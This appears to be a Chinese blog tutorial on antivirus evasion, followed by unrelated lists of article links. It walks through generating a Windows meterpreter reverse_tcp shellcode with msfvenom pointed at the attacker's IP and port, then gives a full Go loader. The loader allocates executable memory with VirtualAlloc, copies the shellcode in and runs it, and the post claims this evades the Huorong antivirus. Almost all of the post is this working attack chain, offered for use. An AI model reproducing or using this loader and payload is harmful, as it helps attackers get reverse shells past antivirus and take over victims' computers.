msf生成的裸马现在已经不行了,加壳也只能加冷门壳了,VMP,Shielden,upx不是失效就是效果很差,所以当下,得用shellcode来免杀了

msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp LHOST=攻击机IP LPORT=攻击机端口 -f raw -o payload.bin

在kali的控制台里输入以上命令,即在当前目录下生成一个bin文件,这个bin文件就是我们的shellcode了。

将1.bin拖到windows里,用winhex打开

点击编辑-复制所有-十六进制数值,然后新建一个1.go,在里面输入:

package main
import (
"encoding/hex"
"syscall"
"unsafe"
)
func main(){
sa := "复制结果粘贴进来"
shellcode, _ := hex.DecodeString(sa)
VirtualAlloc := syscall.NewLazyDLL("kernel32.dll").NewProc("VirtualAlloc")
copyMem := syscall.NewLazyDLL("kernel32.dll").NewProc("RtlMoveMemory")
addr, _, _ := VirtualAlloc.Call(0,uintptr(len(shellcode)), 0x1000|0x2000, 0x40)
copyMem.Call(addr, (uintptr)(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)))
syscall.Syscall(addr, 0, 0, 0, 0)
}

将“复制结果粘贴进来”替换成刚刚复制的十六进制数值,然后打开控制台,输入set GOARCH=386 //因为shellcode是32位的

回车,然后在输入go build 1.go

上述只是一个简单的shellcode加载器,能达到免杀火绒的效果,其他杀软并未测试,大佬勿喷

最新文章

  1. nginx 反代理google
  2. js 的一点用法
  3. JSONArray遍历
  4. MFC编程入门之前言
  5. JS作用域和预编译(转载 学习中。。。)
  6. [iOS]SourceTree+oschina实现代码远程托管
  7. Eclipse对svn操作切换账号或更换svn地址方法
  8. android驱动[置顶] 我的DIY Android之旅--驱动并控制你的Android开发板蜂鸣器
  9. 插入标记 方法 insertAdjacentHTML
  10. XML文件生成
  11. bzoj 1935: [Shoi2007]Tree 园丁的烦恼
  12. C语言之linux内核实现平方根计算算法
  13. 在Docker中体验数据库之MySql
  14. Window下,利用Anaconda2创建jupyter-notebook的python3环境方法
  15. fiddler 使用方法汇总
  16. hdu4753 Fishhead’s Little Game 状态压缩,总和一定的博弈
  17. java 多线程之 线程优先级和守护线程
  18. VBA 编写类
  19. php Pthread 多线程 (三) Mutex 互斥量
  20. c++ 向main传递参赛

热门文章

  1. list与linkedlist(添加、删除元素)
  2. SQL-while begin end
  3. MySQL8.0使用GROUP BY的问题
  4. nuxt,js中关于服务端不能使用localStorage和cookie的解决方案
  5. #Python #微信 #消息防撤回 Python实现微信防撤回
  6. Python GUI编程之Tkinter
  7. docker安装常用软件
  8. vue+element 表格动态列添加点击事件与排序(/或者空值排最后)
  9. 接口文档API、剖析http协议, 原生http请求函数
  10. js中函数(方法)注释